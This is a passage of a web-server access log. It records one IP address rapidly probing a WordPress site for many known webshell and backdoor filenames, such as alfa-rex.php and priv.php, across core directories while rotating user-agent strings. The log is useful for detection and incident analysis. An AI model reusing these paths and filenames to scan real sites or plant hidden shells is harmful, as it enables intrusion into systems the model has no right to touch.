/wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:37:42 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:42 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:37:42 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:43 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:43 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:43 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:43 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:43 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:43 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:43 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:43 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:43 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:44 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:44 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:37:44 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:44 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:44 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:44 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:44 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:37:44 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:37:44 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:45 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:45 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:45 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:45 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:45 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:45 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:45 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:45 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:37:45 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:46 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:46 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:46 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:46 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:46 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:37:46 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:46 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:46 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:47 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:48 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:48 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:48 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:37:48 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:48 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:48 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:48 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:48 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:37:49 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:50 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:50 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:50 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:50 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:50 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:50 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:50 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:50 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:51 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:51 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:51 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:51 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:51 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:51 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:37:51 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:51 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:51 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:37:52 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:52 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:52 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:52 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:52 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:52 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:52 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:52 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:52 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:53 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:53 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:53 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:53 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:53 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:53 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:53 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:53 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:54 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:54 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:54 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:54 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:37:54 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:54 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:54 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:55 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:55 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:55 -0400] "GET /wp-includes/css/priv.php 